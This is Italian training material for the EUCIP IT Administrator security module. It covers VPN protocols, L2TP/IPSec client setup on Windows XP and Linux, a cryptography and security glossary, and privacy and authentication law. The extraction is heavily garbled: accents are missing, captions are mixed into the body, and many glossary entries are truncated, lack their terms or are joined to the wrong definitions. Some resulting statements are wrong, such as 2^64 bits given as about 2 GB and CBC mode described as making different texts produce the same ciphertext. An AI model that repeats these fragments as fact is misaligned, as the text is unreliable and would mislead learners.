VPN di strato data link sono usati anche negli ambienti ad
alta sicurezza per proteggere particolari collegamenti fisi-
ci, come i circuiti dedicati tra due edifici. La VPN pu essere
creata collocando un gateway di cifratura e decifratura al-
le estremit del circuito, oppure aggiungendo servizi VPN
a punti terminali come gli switch. Si parla di Provisioner-pro-
vided VPN (PPVPN) quando il service provider del collega-
mento offre la protezione VPN del collegamento stesso. In
5.7.10.4 Conoscere
altri protocolli
d'incapsulamento
(PPTP, IP over UDP,
etc.), e il relativo
impiego
tal caso, la gestione e manutenzione della VPN sono a ca-
rico del provider, non dell'azienda utente. Il gruppo di la-
voro Layer 2 Virtual Private Networks (L2VPN) dell'IETF sta
sviluppando gli standard per le PPVPN di strato 2.
Protocolli VPN di strato 4 (trasporto)
I protocolli di strato 4 come TLS (Transport Layer Secu-
rity) sono utilizzati principalmente per fornire comunica-
zioni sicure a singole applicazioni basate su HTTP, bench
possano proteggere sessioni di comunicazione di altro ti-
po. Dato che tutti i principali browser supportano SSL e
TLS, gli utenti non hanno bisogno d'installare un client
software o di riconfigurare il sistema (salvo attivare TLS nel
browser se non attivo per default). Una differenza im-
portante tra le protezioni TLS e IPSec che IPSec autenti-
ca automaticamente ciascun punto terminale con l'altro,
mentre l'autenticazione TLS tipicamente monodireziona-
le, dal server (provvisto di certificato) al client (la maggior
parte delle implementazioni non sfrutta l'opzione di au-
tenticare anche il client dotandolo di certificato).
Uno sviluppo recente l'uso dei reverse proxy server
TLS (chiamati anche SSL proxy server, TLS VPN e SSL VPN)
per offrire una soluzione VPN pi robusta agli utenti remo-
ti. L'utente remoto che ha bisogno di usare un'applicazione
aziendale inserisce nel browser l'URL (Uniform Resource Lo-
cator) del proxy server, a cui si connette in modo HTTP pro-
tetto da TLS. L'utente viene autenticato dal proxy server,
quindi pu accedere all'applicazione desiderata, come
specificato nei controlli d'accesso del proxy. L'utente non
si collega all'applicazione direttamente; il suo sistema usa
una connessione HTTP protetta da TLS con il proxy server,
che a sua volta stabilisce un'altra connessione con il server
applicativo che pu essere protetta o meno, secondo ne-
cessit. Tale metodo pu essere adattato anche ad appli-
cazioni non Web, tramite appositi client software forniti dai
produttori e da installare sulle macchine degli utenti.
In generale, il metodo del proxy server adatto soprat-
tutto per proteggere un numero significativo di applicazio-
ni Web, altrimenti non offre vantaggi sostanziali rispetto al-
la protezione individuale delle applicazioni tramite TLS.
Protocolli VPN di strato applicativo
Ogni protocollo di strato applicativo in grado di pro-
teggere una singola applicazione; in molti casi, la protezio-
ne riguarda solo una parte dei dati applicativi. Per esempio,
programmi di cifratura come PGP (Pretty Good Privacy) e
GPG (GnuPG) possono essere usati in combinazione con un
client di e-mail per cifrare il corpo di un messaggio di posta
elettronica, ma non l'intestazione (che include le informa-
zioni sugli indirizzi). Protocolli VPN applicativi possono an-
che essere incorporati nelle applicazioni per fornire la pro-
tezione dei dati senza richiedere applicazioni separate. Se
il software in commercio o in distribuzione non compren-
de protezione allo strato applicativo, la protezione deve es-
sere aggiunta attraverso un altro prodotto (allo strato ap-
plicativo, oppure a un altro strato), per esempio avvolgen-
do l'applicazione basata su HTTP con TLS o realizzando
una VPN basata su IPSec.
Un protocollo di strato applicativo comunemente usa-
to Secure Shell (SSH), che contiene i sostituti sicuri di
parecchi protocolli applicativi, tra cui telnet, rcp e FTP.
Lo stesso programma SSH client, in s, fornisce la prote-
zione per il login remoto a un altro sistema. Alcune azien-
de estendono l'uso dell'applicazione SSH stabilendo tun-
nel SSH tra host, e quindi facendo passare altre comuni-
cazioni attraverso i tunnel. Ci permette di proteggere
pi applicazioni alla volta attraverso un singolo tunnel, il
che, tecnicamente, fa di SSH un protocollo VPN di strato
4 (trasporto), anzich di strato applicativo. Tali stru-
menti sono utilizzati soprattutto dagli amministratori, a
causa della competenza tecnica necessaria per installare
e configurare il software SSH.
Configurazione
di un client IPSEC
Descriviamo la configurazione di base per un computer
portatile con Windows XP configurato come client IPSec in
grado di collegarsi a un gateway IPSec. Forniamo anche al-
cune indicazioni applicabili a un gateway Linux, pur trala-
sciandone la configurazione.
La configurazione IPSec di Windows XP (se non si usa
un client IPSec fornito da un produttore) richiede l'uso
del protocollo L2TP (descritto nella sezione precedente),
che permette d'incapsulare i frame di strato 2 (destinati
a un server PPP, per essere estratti sulla rete locale) in
pacchetti IP. Sul gateway Linux necessario installare e
configurare il daemon pppd e il daemon l2tpd, che di-
sponibile in molte distribuzioni (vedere anche www.jac-
co2.dds.nl per software e istruzioni).
Il daemon l2tpd deve essere configurato per essere ac-
cessibile solo dai tunnel IPSec. Alcune misure da pren-
dere sono:
1. per L2TP/IPSec si devono abilitare alcune porte e
protocolli: UDP 500 (IKE), protocollo IP 50 (ESP) e porta
UDP 4500 (NAT-T, necessaria se i client sono dietro un
router NAT);
2. bloccare il traffico destinato alla porta 1701 (L2TP) su
tutte le interfacce, ad esempio tramite iptables;
3. mettere l2tpd in ascolto solo sull'indirizzo della rete
interna (per proteggerlo da accessi esterni), per esempio
192.168.1.98, e ridirigendovi il traffico proveniente dal tun-
nel con un comando
iptables -t nat --append PREROUTING -i ipsec0 -p udp --
sport 1701 -j DNAT --to-destination 192.168.1.98
dopo di che, occorre utilizzare una patch necessaria per
legare (bind) l2tpd a un determinato indirizzo IP (quello
della rete interna), scaricabile da
www.jacco2.dds.nl/networking/tarballs/l2tpd-10jdl.tgz.
Il daemon l2tpd permette di portare al gateway qual-
siasi pacchetto incapsulato nel protocollo L2TP, quindi se
ne dovr tenere conto nel configurare il firewall. E' op-
portuno verificare anche se la distribuzione di sistema
operativo utilizzata presenta particolarit relative al sup-
porto L2TP (si veda anche
www.jacco2.dds.nl/networking/freeswan-l2tp.html).
La configurazione del client Windows XP prevede i se-
guenti passi:
1. Attivare la procedura guidata per creare una nuova con-
nessione di rete tramite Start > Tutti i programmi > Ac-
cessori > Comunicazioni > Creazione guidata nuova con-
nessione
2. Avanti
3. Connessione alla rete aziendale > Avanti
4. Connessione VPN > Avanti
5. Inserire un nome (ad esempio Test) > Avanti
6. Non effettuare alcuna connessione > Avanti
7. Inserire l'indirizzo IP pubblico del gateway VPN > Avanti
8. Non utilizzare la smart card > Avanti > Fine
9. Ora nella finestra Connessioni di rete presente la nuova
connessione Test sotto Rete privata virtuale; fare doppio
clic su Test.
10. Clic su Propriet
11. Clic su Protezione
12. Rimuovere Richiedi crittografia dati (riguardante il traf-
fico PPP), dato che se ne occupa IPSec
13. Clic su Impostazioni IPSec
14. Inserimento di una chiave condivisa (sebbene sia la
configurazione pi semplice e meno sicura, semplice
e adatta per il test della connessione; si usi comunque
una chiave complessa) > OK
15. Selezionare il tab Rete
16. Selezionare L2TP IPSEC VPN come Tipo di VPN
17. Verificare la configurazione del protocollo TCP/IP
5.7.10.5 Essere in
grado d'installare un
client VPN
18. Nella sezione Avanzate, se necessario, possibile mo-
dificare le opzioni del firewall di Windows XP per tale
connessione. Se si usa un altro firewall software, si ve-
rifichi che lasci passare i protocolli VPN e, in caso con-
trario, si attivi tale funzione.
Se si utilizza un server Linux, il nome utente e la pas-
sword devono essere inseriti nella configurazione CHAP,
generalmente in /etc/ppp/chap-secrets.
Una volta collaudata la connessione tramite chiave con-
divisa, si potr riconfigurare la protezione della connes-
sione in modo da utilizzare un certificato digitale per l'au-
tenticazione del client.
1 Avvio della procedura
guidata di creazione della
connessione VPN
2 Selezione del tipo di
connessione
3 Selezione della
modalit di connessione
4 Assegnazione del nome
della connessione
5 Opzione di
collegamento a Internet
prima della connessione
VPN
6 Inserimento
dell'indirizzo IP pubblico
del gateway VPN
7 Opzione di utilizzo di
Smart Card
8 Completamento della
procedura guidata
9 La connessione VPN
elencata in Connessioni
di rete
10 Finestra di
connessione e
configurazione
11 Propriet generali
della connessione VPN
12 Impostazioni generali
di protezione
13 Inserimento di una
chiave condivisa
14 Propriet IPSec della
connessione
15 Esempio di
abilitazione dei protocolli
VPN in un personal
firewall (ZoneAlarm)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GLOSSARIO
3DES (Triple DES)
tripla applicazione del DES. Lalgoritmo alla base di 3DES
Accountability
Accuratezza
informazioni.
AES
pubblicato dal NIST nel 2001, lalgoritmo richiesto per
classificati fino al livello di secret con chiave di 128 bit, e
di top secret con chiave di 192 o 256 bit. E' previsto che
risulti sicuro per decenni a venire, ed utilizzabile senza il
Agente
agente. Esempi di agenti di minaccia sono un intruso che
entra in rete attraverso una porta del firewall, un processo
che accede ai dati violando le regole di sicurezza, un
tornado che spazza via il centro di calcolo o un utente che,
inavvertitamente, permette ad altri di vedere le password.
Analisi del rischio
minacce e vulnerabilit, e si identifica il livello di rischio
Autenticit
Bene
abbia un valore e debba, quindi, essere protetta.
Blowfish
chiavi di lunghezza fino a 448 bit. Durante la cifratura, i
dati sono sottoposti a 16 fasi di funzioni crittografiche.
Blowfish un algoritmo molto robusto ed stato scritto da
Bruce Schneier, uno degli autori pi citati nel campo della
crittografia.
BS 7799
informazioni.
Business Continuity
Busta elettronica
bit sono diversi, o 0 se sono uguali) con il blocco
propriet di pseudocasualit in modo che testi diversi
producano lo stesso testo cifrato.La decifratura funziona
nel modo opposto: ogni blocco decifrato e combinato in
XOR con il blocco precedente. Il primo blocco decifrato e
combinato in XOR con il vettore dinizializzazione.
www.cenorm.org)
per lItalia).
sicurezza, e condurre ricerche rivolte a incrementare la
CERT-CC
Coordination Center (CERT-CC), ed situato presso il
privata della CA.
Chiave
Chiave privata
proprietario.
Chiave pubblica
Chiave segreta
al mittente, sia al destinatario. Deve essere mantenuta
Cifrare o cifratura
Cifrario a blocchi
blocchi sono di 64 o 128 bit), e ogni operazione su un
Cifrario a flusso
il formato con cui sono codificati i messaggi creati con la
cifratura asimmetrica definito dallo standard PKCS
#7Cryptographic Message Syntax (CMS). Altre propriet
del formato CMS: 1) gestisce la firma congiunta di pi
firmatari, 2) gestisce la firma per un numero arbitrario di
destinatari, 3) consente di aggiungere attributi firmati al
messaggio, come la data e lora della firma, 4) consente di
allegare al messaggio i certificati dei firmatari, agevolando
la verifica della firma, 5) include gli identificatori degli
algoritmi crittografici utilizzati e gli elementi che facilitano
la decifratura e la verifica della firma.
Common Criteria
disponibilit di informazioni e risorse informatiche, e della
Contromisure
volte ad annullare o limitare le vulnerabilit, e a
contrastare le minacce.
certo compito, oppure regolano il comportamento degli
firmware e software, e prendono anche il nome di funzioni
di sicurezza.
Correttezza
procedura) che riflette il grado di corrispondenza tra le
sono i metodi con cui viene valutata la fiducia, che pu
essere accordata ai sistemi e ai prodotti informatici di
sicurezza.
Tra le pubblicazioni disponibili, le tre pi significative sono i
criteri americani TCSEC (Trusted Computing Security
Evaluation Criteria, 1985), i criteri europei ITSEC
(Information Security Evaluation Criteria, 1991) e i criteri
internazionali ISO/IEC 15408, noti come Common Criteria
e pubblicati nel 1999.
Crittoanalisi
cifrato senza disporre della chiave, o senza scoprire il
Crittografia
Crittografia a curve ellittiche (ECC)
tecnologia di cifratura asimmetrica con chiavi molto pi
corte rispetto a RSA. Una chiave ECC di 163 bit equivale a
una chiave RSA di 1024 bit. Le curve ellittiche sono una
permettono di creare algoritmi crittografici asimmetrici,
vista lestrema difficolt di eseguire i calcoli a ritroso per
ricostruire la chiave privata dalla chiave pubblica e dalle
condizioni iniziali.
Crittologia
Crittosistema
messaggio cifrato (ciphertext) e poi, di nuovo, nel
Custode dei dati
dei dati.
lalgoritmo di cifratura pi conosciuto, ed stato il primo
di cui sono stati forniti tutti i dettagli di implementazione.
E stato incluso nella maggioranza dei prodotti commerciali
dotati di funzionalit crittografiche, ed stato usato dagli
enti governativi. Per oltre un decennio DES stato
considerato uno degli algoritmi pi efficaci ed efficienti,
finch la NSA smise di supportarlo nel 1988, prevedendo
la sua vulnerabilit a fronte della crescita della potenza di
calcolo dei computer.
Diffie-Hellmann
algoritmo di crittografia asimmetrica, utilizzato per lo
scambio delle chiavi, dove i due interlocutori si scambiano
le chiavi pubbliche e, con le proprie chiavi private,
costruiscono una chiave segreta condivisa.
Digest
vedi hash.
Disaster Recovery
Disponibilit
DMZ (Demilitarized Zone)
il termine, di origine militare, indica un'area tampone tra
una zona fidata e una non fidata all'interno della quale non
sono consentite le armi. Applicata al networking, una DMZ
una sottorete alla quale sono connessi sistemi
accessibili da reti con diversi livelli di fiducia e criticit.
DSA (Digital Signature Algorithm)
una variante dellalgoritmo di cifratura asimmetrica
ElGamal il DSA, o Digital Signature Algorithm, sviluppato
dalla NSA e pubblicato dal NIST (National Institute of
Standards and Technology), e diventato uno standard del
governo USA.
DSS (Digital Signature Standard)
Lo standard federale americano per la firma elettronica di
cui DSA lalgoritmo di firma, e SHA lalgoritmo di hash.
Dynamic packet filtering
Vedi Stateful inspection.
uno dei principali cifrari a blocchi. Ogni blocco di testo in
chiaro.
ECDSA
una variante pi efficiente del DSA basata sulle curve
ellittiche.
Efficacia
ElGamal
algoritmo di cifratura asimmetrica. Pu essere usato sia
per la cifratura, sia per lautenticazione con firma digitale.
E un algoritmo sicuro, e ha la caratteristica di generare un
Antipolis (Francia), ed responsabile per la
Firma digitale
una firma devessere difficile da falsificare, non ripudiabile
documento a un altro). La firma digitale si basa sulla
cifratura asimmetrica di un hash, o digest, calcolato sul
contenuto del documento o messaggio.
e attacchi.
FTP bounce
un attacco (rimbalzo FTP) che sfrutta una vulnerabilit del
protocollo FTP per cui un attaccante in grado di usare il
comando PORT per chiedere accesso alle porte
indirettamente, attraverso l'uso del server FTP come
intermediario nella richiesta.
Funzionalit
informatici.
Garanzia
Hash
un numero binario di lunghezza fissa, ricavato da un input
(file, messaggio, blocco di dati, ecc.), di lunghezza
HMAC
costituisce un keyed hash allinterno di un keyed hash.
sviluppo futuro.
Numbers)
IDEA
IDEA un cifrario simmetrico a blocchi di 64 bit, suddivisi
in 16 sotto-blocchi sottoposti a otto serie di manipolazioni
matematiche. IDEA presenta similitudini con DES, ma
molto pi robusto. La chiave lunga 128 bit. IDEA
brevettato ed concesso in licenza dalla societ svizzera
Mediacrypt.
individuo o un processo, e ad autenticarne lidentit.
Impatto
Integrit
la fedele conservazione del contenuto originario di un
documento archiviato o trasmesso in rete, attestata da
strumenti che segnalano se il documento ha subito
alterazioni.
professionisti nel mondo del networking, e che ha la
tecnologia.
italiano).
ISO/IEC 17799
A, I dieci domini formano una piramide che scende dalla
ITSEC (Information Security Evaluation Criteria)
paesi europei.
Keyed hashing
Keyspace
man-in-the-middle
tipo di attacco dove il nemico finge rispettivamente di
essere l'altro interlocutore nei confronti di due sistemi tra i
quali si interposto. Intercetta il traffico dell'uno prima di
ritrasmetterlo all'altro e viceversa, fingendo ogni volta di
essere il mittente e il destinatario corretto per ciascuna
comunicazione.
MD5
algoritmo di hash evoluzione di MD4, stato sviluppato da
Ron Rivest allMIT nel 1991 ed descritto nella RFC 1321
(www.ietf.org/rfc). MD5 molto popolare, ma la crescita
della potenza di calcolo e i primi successi degli attacchi sia
basati su forza bruta, sia di tipo crittoanalitico (basati
sullanalisi dellalgoritmo) inducono a considerare MD5
vulnerabile.
Minaccia
Non ripudio
Norme e linee guida
Norme funzionali
ricercare linteroperabilit dei prodotti informatici. Coprono
argomenti quali i protocolli di comunicazione, il formato dei
dati (per esempio in un certificato digitale o in una
smartcard), e cos via.
Obiettivi
one-way hash function
produce una trasformazione a senso unico, dove a N
possibili input corrisponde un output, da cui non
possibile risalire allinput. Lhashing one-way viene usato
nella crittografia asimmetrica per produrre le firme digitali
(ad esempio con gli algoritmi RSA o DSA), anche in questo
caso per assicurare lautenticit e lintegrit dei dati
trasmessi o archiviati.
Packet filter
il tipo pi semplice di firewall che consiste di un router
che include una funzione di controllo d'accesso per i
singoli pacchetti governata da una serie di regole (ruleset)
eseguite in sequenza.
nel 1991 come freeware. Le funzioni di PGP sono: firma
digitale, cifratura dei messaggi, compressione,
conversione in ASCII (in base 64) e segmentazione dei
messaggi; di queste, le prime due rientrano nel contesto
delle applicazioni crittografiche.
PKCS (Public Key Cryptographic Standard)
PKI (per esempio, PKCS #1 descrive lo standard di
cifratura RSA). PKCS #7 specifica i formati binari usati per
la firma digitale e per la busta elettronica. Lo standard
aggiornata dalla RFC 2630.
particolare.
Privacy
dei dati personali.
Proxy
(procuratore) un server che si frappone fra un'applicazione
client (come un browser) e un reale server (come un Web
server). Al server, il proxy appare come se fosse il client,
Proxy firewall
un firewall basato su proxy (detto anche application
gateway, proxy gateway e proxy server) che richiede
un'applicazione specifica per ogni protocollo. Vengono
usate applicazioni che accettano connessioni dai client,
esaminano il traffico e aprono corrispondenti connessioni
verso i server.
RC4
1987 da Ron Rivest per RSA Security. Utilizza un
keystream di dimensioni variabili (ma solitamente di 128
bit), e opera su un byte alla volta. In origine il cifrario era
segreto, ma fu fatto filtrare su Internet. Lalgoritmo molto
robusto se utilizzato con chiavi di lunghezza adeguata
(tipicamente 128 bit), casuali e non riutilizzate.
RC5
RC5 un cifrario simmetrico a blocchi dotato di parecchi
parametri per assegnare le dimensioni del blocco, la
lunghezza della chiave e il numero di passaggi di
trasformazione da eseguire. E stato creato da Ron Rivest
(la R di RSA). Di solito si utilizzano blocchi di 32, 64 o 128
bit, e la chiave pu raggiungere i 2.048 bit. RC5 stato
brevettato da RSA Security nel 1997. Il basso consumo di
memoria lo rendono adatto per smartcard e altri dispositivi
simili.
linfrastruttura.
Reverse proxy
indica un proxy utilizzato per la protezione di un server,
tipicamente un Web server (HTTP/HTTPS) su Internet. Gli
usi pi comuni dei reverse proxy riguardano il
bilanciamento del carico e la continuit del servizio, che
costituiscono anche un aspetto di disponibilit.
RIPEMD-160
algoritmo di hash sviluppato nellambito del progetto
European RACE Integrity Primitives Evaluation (RIPE) da un
gruppo di ricercatori che avevano conseguito parziali
successi nellattaccare MD4 e MD5.
Rischio
limpatto causato dallevento, e quanto alta la probabilit
Riservatezza
risorse informatiche alle sole persone autorizzate, e si
applica sia allarchiviazione, sia alla comunicazione delle
informazioni.
simili.
RSA
dellomonima azienda, il cifrario asimmetrico pi
utilizzato. Pu essere usato sia per la cifratura (per
ottenere lautenticazione), sia per lo scambio delle chiavi
(come nellesempio di cui sopra).
Scambio dati sicuro
Screened subnet
a differenza di una DMZ, che una piccola sottorete
collocata tra il router Internet e l'interfaccia esterna del
firewall, una screened subnet una rete isolata
accessibile solo attraverso una delle interfacce del firewall,
e non connessa direttamente alla rete interna.
Secure Shell (SSH)
trasmessi.
SHA (Secure Hash Algorithm)
uno standard FIPS (Federal Information Processing
Standard) statunitense. SHA genera un digest di 160 bit
che viene passato a DSA o a un altro degli algoritmi di
firma digitale ammessi dal governo USA (RSA ed ECDSA,
Elliptic Curve Digital Signature Algorithm).
SHA-1
stato sviluppato dal NIST, ed stato pubblicato come
standard federale USA nel 1993 con il nome di Secure
Hash Algorithm (SHA, FIPS 180), e riveduto nel 1995 come
SHA-1 (FIPS180-1). SHA-1 riceve in input un messaggio di
lunghezza massima inferiore a 264 bit (una dimensione
equivalente a 2.147 Gbyte e, perci, praticamente
illimitata), suddiviso in blocchi di 512 bit, e produce un
hash di 160 bit.
Sicurezza attiva
problemi futuri. Questo viene ottenuto non solo impedendo
agli estranei di accedere alle informazioni (sicurezza
passiva o difensiva), ma rendendo le informazioni
intrinsecamente sicure a livello applicativo, proteggendone
la riservatezza (confidentiality, chiamata anche
confidenzialit), lintegrit e lautenticit.
Sicurezza passiva
Skipjack
1987, messo in servizio nel 1993 e declassificato nel
1998.
Social engineering
la pratica di manipolare ad arte le persone per indurle a
compiere azioni (come lesecuzione di software maligno),
oppure a rivelare informazioni (come le password) utili a
ottenere accesso a dati e risorse.
Stateful inspection
tutti i filtri di pacchetti che implementano qualche forma di
stateful inspection mantengono in memoria lo stato di tutte
le comunicazioni che attraversano il firewall e determinano
se bloccare i singoli pacchetti in base a interi flussi di
comunicazione, non semplicemente sulla base dei singoli
pacchetti. Perci, i firewall del tipo stateful inspection (o
stateful packet inspection, SPI) permettono o bloccano il
passaggio di un pacchetto non solo in base a indirizzi IP e
porte, ma anche utilizzando SYN, ACK, numeri di sequenza
e altri dati contenuti nell'header TCP (strato 4).
Static packet filtering
Vedi Packet filtering
TCSEC (Trusted Computing Security Evaluation Criteria)
Time Stamp Authority (TSA)
una terza parte fidata che attesta il tempo di produzione o
dinvio di un documento tramite una marca temporale,
che di fatto una controfirma del documento contenente
un hash del documento, il riferimento temporale e altre
informazioni.
UNINFO
Verifica (audit)
le funzioni che registrano gli eventi in un file di logging, con
informazioni riguardo a errori e a violazioni di sicurezza.
Vulnerabilit
L
a facilit di accesso e manipolazione delle informa-
zioni resa possibile dagli sviluppi tecnologici e da In-
ternet ha portato a legislazioni che riconoscono il di-
ritto alla riservatezza, che si concretizza come la possi-
bilit di controllare l'utilizzo delle proprie informazioni
personali da parte di terzi.
Una prima esigenza di evitare la divulgazione incon-
trollata d'informazioni che possono essere usate per recare
danno all'individuo. Un'altra esigenza, non meno importan-
te, d'impedire l'incrocio tra banche dati diverse allo sco-
po di costruire un profilo soggettivo e dettagliato dell'indi-
viduo, utilizzabile a suo danno. Le normative vigenti, ema-
nate in base alla direttiva CE n. 95/46, hanno lo scopo di re-
golamentare il trattamento dei dati personali. Misure come
l'informativa all'interessato con la richiesta di consenso e
l'adozione di misure di sicurezza per impedire la divulga-
zione dei dati servono a limitare l'uso delle informazioni per-
sonali ai casi previsti dalla legge e concordati col cittadino.
D'altra parte, l'utilizzo sempre pi capillare delle tecno-
logie informatiche (basti pensare alle transazioni finanzia-
rie e ai rapporti con la pubblica amministrazione) impedi-
sce che le comunicazioni possano svolgersi nel completo
anonimato, visti gli illeciti civili e penali che verrebbero
commessi senza poter rintracciare i responsabili. Reati co-
me truffe, terrorismo e pedofilia destano gi allarme socia-
le e sono nel raggio d'attenzione di legislatori e forze del-
l'ordine; ben pi diffusa tra la massa degli utenti Internet
la violazione del diritto d'autore, favorita da software di du-
plicazione e di scambio peer-to-peer e dalla pubblicazione
illecita su Internet di materiale soggetto a copyright.
L'esigenza quindi, da un lato, di assicurare l'anonimato
degli interessati e la riservatezza delle informazioni scam-
biate nel rispetto dei diritti altrui e dei valori di una societ
democratica che si riconosce nella Convenzione Europea
dei diritti dell'uomo del 1950 (basata sulla Dichiarazione
Universale dei Diritti dell'Uomo del 1948), che nell'articolo
8 specifica il Diritto al rispetto della vita privata e familiare.
D'altro canto, l'anonimato cessa di essere garantito quando
si tratta d'individuare e perseguire i responsabili di azioni
criminali.
A tale proposito, la Raccomandazione n. R (99) 5 del Co-
mitato dei Ministri agli stati membri relativa alla protezione
della privacy su Internet e linee guida per la protezione del-
le persone rispetto alla raccolta e al trattamento di dati per-
sonali sulle autostrade dell'informazione", adottata dal Co-
mitato dei Ministri del Consiglio d'Europa il 23/2/1999, ha fis-
sato una serie di principi per equilibrare la privacy con l'im-
possibilt di completo anonimato, che includono il diritto
all'uso di pseudonimi. La raccomandazione suggerisce che
sia prevista la possibilit d'uso di pseudonimi in modo che
la reale identit personale degli utenti Internet sia nota so-
lo ai service provider. In tal modo, l'utente pu evitare di es-
sere riconosciuto dagli altri utenti, ma resta legalmente re-
Si conclude il corso per il conseguimento della certificazione
EUCIP IT Administrator Sicurezza Informatica e in questa lezione
parliamo di privacy e degli aspetti etici e sociali legati alla
sicurezza informatica.
esteso in formato PDF, e un corso
multimediale completo su DVD
di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.8.1 Concetti
fondamentali
5.8.1.1: Conoscere il
significato di:
riservatezza (privacy),
anonimato, diritto
allo pseudonimo
applicazioni
parte E Difendersi dai nemici allinterno
In collaborazione
con:
Sicurezza di rete Aspetti sociali e legali
Codici e normative
di sicurezza
sponsabile dei suoi comportamenti sulla rete, perch rin-
tracciabile su richiesta dell'autorit giudiziaria.
Autenticazione
e privacy
Abbiamo visto che la totale anonimit irraggiungibile,
dato che i provider e i gestori dei servizi di posta tengono
traccia degli accessi da parte degli utenti, che devono es-
sere registrati per utilizzare il servizio. Un certo livello di
anonimit pu essere raggiunto illegalmente, imposses-
sandosi delle credenziali di accesso di un altro utente e
usandole senza autorizzazione, ma si tratta di una soluzio-
ne limitata, rischiosa e di efficacia temporanea. Legalmen-
te, un utente pu utilizzare software e servizi (alcuni a pa-
gamento, altri gratuiti) che garantiscono l'anonimit del
browsing Internet e dei messaggi di posta inviati attraver-
so web mail. Tuttavia, anche in questi casi viene tenuta
traccia dell'utilizzo del servizio, che pu essere interrotto
in qualsiasi momento in caso di abuso, inoltre le registra-
zioni sono a disposizione delle autorit competenti.
Se da un lato un utente interessato a difendere la pri-
vacy e la riservatezza mentre naviga su Internet, in altre oc-
casioni di fondamentale importanza poter autenticare un
soggetto per identificare con certezza l'autore di un certo
comportamento o l'utente che accede a determinate risor-
se. Nel caso di azioni illecite o criminali, un'indagine pu
utilizzare tecniche di monitoraggio e i log dei provider In-
ternet. Nel caso di accessi e transazioni legittime, l'auten-
ticazione serve ad accertare l'identit di chi le esegue, im-
pedendo l'accesso ai soggetti non autorizzati e, se abba-
stanza forte, vincolando l'utente a far fronte all'impegno
contratto senza possibilit di ripudio (al di l di quelle sta-
bilite per legge, come il diritto di recesso per gli acquisti on-
line). L'autenticazione rappresenta una prova di identit,
che identifica univocamente un individuo sulla base di uno
o pi dei seguenti fattori: un dato conosciuto (come una
password o la risposta a una domanda), un oggetto posse-
duto (come un token USB o una Smart Card) o una carat-
teristica fisica (come un'impronta digitale o la mappa del-
l'iride).
Riservatezza e autenticazione sembrano due obiettivi
antagonisti, ma ci vero solo in termini relativi e in de-
terminate circostanze. Ad esempio, la richiesta di autenti-
cazione per eseguire una transazione commerciale proteg-
ge i contraenti e normalmente comporta una perdita ac-
cettabile della riservatezza, se ogni parte in causa applica
le leggi sul trattamento delle informazioni personali o sen-
sibili.
Nel panorama italiano di leggi e decreti, un esempio che
tratta sia di autenticazione sia di privacy il decreto legi-
slativo 196/2003 (Nuovo codice in materia di protezione dei
dati personali). Gli articoli da 31 a 34 prescrivono sia la ri-
servatezza a protezione dei dati personali sia le misure au-
tenticazione e autorizzazione come condizione per acce-
dere alle informazioni. L'allegato B precisa le "misure mini-
me di sicurezza" che devono essere adottate dai soggetti
che trattano dati personali per non incorrere in responsa-
bilit penali. In particolare, sulla base delle indicazioni co-
munitarie, il legislatore italiano ha stabilito la necessit di
proteggere i computer utilizzati nel trattamento di dati per-
sonali attraverso un sistema di credenziali di autenticazio-
ne basato su codice di identificazione e password o altro di-
spositivo di autenticazione, come token, Smart Card o ca-
ratteristica biometria eventualmente associata a un codice
o password. Tra le norme specificate, c' la lunghezza mi-
nima di otto caratteri per le password, il suo contenuto non
associabile all'utente, la sua modifica al primo utilizzo e al-
meno ogni sei mesi (pena la perdita delle credenziali) e re-
gole di utilizzo delle credenziali.
La scelta di imporre forme di autenticazione per acce-
dere alle risorse si riflette nella protezione dei tre attributi
fondamentali della sicurezza:
1. riservatezza delle informazioni, riducendo il rischio di
accesso alle informazioni (visione o furto) da parte di
soggetti non autorizzati;
2. integrit dei dati, riducendo il rischio di modifiche, ag-
giunte e cancellazioni per interventi non autorizzati:
3. disponibilit dei dati, riducendo il rischio che agli uten-
ti legittimi sia impedito di accedere alle risorse nei tem-
pi e modi appropriati.
Ci sono circostanze in cui l'autenticazione pu avere ri-
svolti delicati: procurarsi la possibilit di sapere quando un
soggetto ha avuto accesso a una risorsa e quali operazioni
ha eseguito pu costituire una violazione della legge sulla
privacy, se l'interessato non stato adeguatamente infor-
mato; inoltre, in Italia, azioni di monitoraggio che possano
configurarsi come controllo a distanza (lecite in altri pae-
si) sono vietate dallo statuto dei lavoratori.
In un'azienda, la registrazione delle attivit degli utenti
durante la giornata comporta la registrazione nei file di log
di un ingente quantit di informazioni, soprattutto se gli ac-
cessi sono soggetti ad autenticazione. L'analisi di tali infor-
mazioni, se condotta con l'intenzione di scoprire come un
lavoratore impiega il tempo e le risorse, rischia di con-
travvenire alla legge sulla privacy e allo statuto dei lavora-
tori.
L'autenticazione, d'altra parte, ha una funzione essen-
ziale nelle organizzazioni e trova applicazioni che per loro
natura hanno l'esigenza di verificare con certezza l'identit
di chi esegue le operazioni. Il settore bancario, ad esempio,
prevede forme di autenticazione particolarmente sofisti-
cate per garantire che solo un certo soggetto sia autoriz-
zato a eseguire una certa transazione. A tale scopo la legi-
slazione comunitaria, seguita poi da quella nazionale, ha in-
trodotto vari tipi di firma elettronica, solo alcuni dei quali
hanno efficacia giuridica. Le quattro tipologie di firma pre-
viste sono:
1. Firma elettronica semplice: l'insieme dei dati in forma
elettronica allegati o connessi tramite associazione logi-
ca ad altri dati elettronici, utilizzati come metodo di au-
tenticazione informatica. E' paragonabile a una firma car-
tacea non riconosciuta, quindi non ha valore legale.
2. Firma elettronica avanzata: ottenuta attraverso una
procedura informatica che garantisce la connessione uni-
voca al firmatario e la sua univoca identificazione, creata
con mezzi su cui il firmatario mantiene un controllo esclu-
sivo e collegata ai dati cui si riferisce in modo da rilevare
se essi sono stati successivamente modificati.
3. Firma elettronica qualificata: una firma elettronica avan-
zata, in s tecnologicamente neutra, assume valore lega-
le (pari a una firma autografa) solo quando utilizzata in-
sieme a un "certificato qualificato" ed creata attraver-
so un "sistema di creazione di firma sicura". Per produr-
re una firma di tale livello bisogna soddisfare una trenti-
na di requisiti.
4. Firma digitale: una specie particolare di firma elettro-
nica qualificata, basata sulla crittografia a chiave asim-
metrica (detta anche crittografia a chiave pubblica). Il
decreto legislativo 82/2005 impostato come se si po-
tessero avere pi tipi di firma elettronica qualificata, cio
